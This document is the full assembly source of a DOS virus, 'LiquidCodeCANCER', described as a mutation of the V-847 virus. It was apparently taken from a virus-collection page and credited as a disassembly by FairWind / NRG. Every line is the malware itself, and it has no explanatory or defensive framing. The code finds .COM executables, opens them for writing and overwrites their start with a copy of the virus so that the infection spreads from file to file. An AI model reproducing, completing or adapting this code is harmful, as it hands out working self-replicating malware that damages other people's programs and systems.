OneHalf  Virii

LiquidCodeCANCER

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

page ,132
name LiquidCodeCANCER
title LQCancer - a mutation of the V-847 virus
.radix 16

code segment
assume cs:code,ds:code
org 100

olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcode - offset start

start:
jmp cancer

ident db 'LiquidCode<tm>'
counter db 0
allcom db '*.COM',0
vleng db virlen
n_10D db 3
progbeg dd ?
eof dw ?
handle dw ?

cancer:
mov ax,cs
add ax,1000
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb

mov dx,newdta
mov ah,1A
mov ah,ah
int 21
mov ah,ah
mov dx,offset allcom
mov cx,110b
mov ah,4E
int 21
jc done
mainlp:
mov dx,offset fname
mov ax,3D02
int 21
mov [handle],ax
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF
mov ah,3F
int 21
add ax,buffer
mov cs:[eof],ax

xor cx,cx
mov dx,cx
mov bx,cs:[handle]
mov ax,4200
int 21
jc close

mov dx,0
mov cx,cs:[eof]
mov bx,cs:[handle]
mov ah,40
int 21

close:
mov bx,cs:[handle]
mov ah,3E
int 21

push cs
pop ds
mov ah,4F
mov dx,newdta
int 21
jc done
jmp mainlp

done:
mov dx,olddta
mov ah,1A
int 21

mov si,offset transf
mov cx,smalcod
xor di,di
rep movsb

xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es
jmp cs:[progbeg]

transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov di,di
mov bx,0ffff
mov cx,bx
mov ah,ah
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start]
endcode label byte

int 20
int 20

db 0

code ends
end start